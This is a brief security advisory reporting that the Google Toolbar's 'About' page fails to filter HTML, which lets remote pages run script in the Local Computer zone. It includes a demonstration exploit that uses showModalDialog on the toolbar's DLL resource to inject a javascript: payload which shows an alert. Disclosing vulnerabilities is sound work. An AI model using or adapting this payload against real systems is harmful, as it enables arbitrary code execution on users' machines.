A remote user can execute arbitrary scripting code in the Local Computer security zone.
It is reported that the 'About' section of the Google Toolbar does not properly filter HTML code. A remote user can create HTML that, when loaded by the target user, will invoke the About page and execute arbitrary scripting code in the context of the page.
A demonstration exploit is provided:
<s c r i p t>
window.showModalDialog("res://C:\\Program%20Files\\Google\\GoogleToolbar1.dll/ABOUT.HTML",
"<div style=\"background-image:
url(javascript
:alert(location.href));\">");
</s c r i p t>